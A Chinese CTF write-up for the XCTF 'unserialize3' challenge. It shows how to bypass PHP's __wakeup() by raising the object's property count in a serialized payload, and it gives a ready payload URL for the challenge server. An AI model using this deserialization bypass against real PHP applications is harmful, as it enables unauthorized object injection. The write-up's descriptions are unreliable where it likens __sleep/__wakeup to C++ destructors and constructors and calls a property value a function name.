攻防世界 unserialize3

 

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
}
    $a =  serialize(new xctf());
    echo ($a);      #结果是O:4:"xctf":1:{s:4:"flag";s:3:"111";}
    $c = "O:4:\"xctf\":1:{s:4:\"flag\";s:3:\"111\";}";
    $b = unserialize($c);
    echo($b);
?>

序列化时会自动调用_sleep()函数,类似c++中的析构函数.只是类似哈,不是一样

反序列化时会自动调用_wakeup()函数,类似c++中的构造函数.只是类似哈

可以看到类中的)wakeup()函数会调用exit('bad requests')退出程序

所以要让反序列的_wakeup()函数不生效

在php中O:4:"xctf":1:{s:4:"flag";s:3:"111";}

O:表示一个对象

4:表示该类的名称的长度

"xctf"表示类的名称

1:表示共有一个变量,如果这里的变量的数量不对应,就会反序列失败,不调用_wakeup()函数

4:表示第一个变量的长度是4

3:表示第一个函数的长度是3

"111"表示第一个函数的名字

要让反序列化失败,只要修改变量的数量不对应即可

序列化结果为

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

因此对应的url可以设置为61.147.171.105:51004/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值